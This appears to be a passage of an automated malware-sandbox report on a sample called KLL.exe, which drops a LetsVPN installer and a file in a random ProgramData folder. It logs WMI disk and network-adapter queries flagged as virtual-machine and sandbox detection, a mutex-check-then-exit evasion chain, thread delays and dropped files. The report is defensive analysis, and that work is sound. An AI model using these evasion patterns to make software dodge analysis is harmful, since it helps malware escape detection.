Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\KLL.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_0-18572

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID="Disk #0, Partition #1"} where resultclass = Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID="Disk #0, Partition #1"} where resultclass = Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID="Disk #0, Partition #1"} where resultclass = Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID="Disk #0, Partition #1"} where resultclass = Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where ServiceName="tap0901"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where GUID="{C803A049-65DE-472C-9C79-AEC70AE974B7}"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::PutInstance - root\cimv2 : Win32_NetworkAdapter.DeviceID="10"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select MACAddress From Win32_NetworkAdapter WHERE ((MACAddress Is Not NULL) AND (Manufacturer <> 'Microsoft'))
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where ServiceName="tap0901"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapterConfiguration where SettingID="{C803A049-65DE-472C-9C79-AEC70AE974B7}"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_NetworkAdapterConfiguration.Index=10::EnableStatic
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_networkadapterconfiguration where ServiceName = 'tap0901'
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_NetworkAdapterConfiguration.Index=10::EnableStatic
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where ServiceName="tap0901"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where GUID="{C803A049-65DE-472C-9C79-AEC70AE974B7}"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::PutInstance - root\cimv2 : Win32_NetworkAdapter.DeviceID="10"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where ServiceName="tap0901"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapterConfiguration where SettingID="{C803A049-65DE-472C-9C79-AEC70AE974B7}"

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = 'C:'
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID="C:"} where resultclass = Win32_DiskPartition
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = 'C:'
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID="C:"} where resultclass = Win32_DiskPartition
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = 'C:'
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID="C:"} where resultclass = Win32_DiskPartition
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = 'C:'
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID="C:"} where resultclass = Win32_DiskPartition
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 1310000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 2F90000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 4F90000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 1020000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 2A40000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 1020000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: C00000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 2890000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: D70000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 1710000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 3130000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 5130000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 27D0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 2A40000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 2850000 memory reserve \| memory write watch

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 300000
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Window / User API: threadDelayed 5707	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Window / User API: threadDelayed 3992	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1405
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 564
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7917
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1746
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Window / User API: threadDelayed 5196
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Window / User API: threadDelayed 3647

Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\WpfAnimatedGif.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Specialized.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\ndp462-web.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Ping.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.Windows.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ValueTuple.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XDocument.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nso2FF1.tmp\nsDialogs.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Common.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-arm\native\e_sqlite3.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.ZipFile.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Watcher.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x86\native\e_sqlite3.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Encoding.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Thread.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\x86\WebView2Loader.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Parallel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Numerics.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.NetTcp.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll	Jump to dropped file
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\tap0901.sys (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\Update.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Syndication.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.AppContext.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Ports.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Process.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Calendars.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.ReaderWriter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Expressions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\microsoft.identitymodel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\WindowsInput.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	Dropped PE file which has not been started: C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\tap0901.sys (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Odbc.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	Dropped PE file which has not been started: C:\Windows\System32\drivers\SET81E9.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Cng.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.Unsafe.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.SystemEvents.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	Dropped PE file which has not been started: C:\ProgramData\8R96N\35Hrm~m8\s	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Sockets.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Permissions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.CodeDom.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.RuntimeInformation.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.IPNetwork.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\x64\WebView2Loader.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	Dropped PE file which has not been started: C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\SET7B44.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.SqlClient.dll	Jump to dropped file
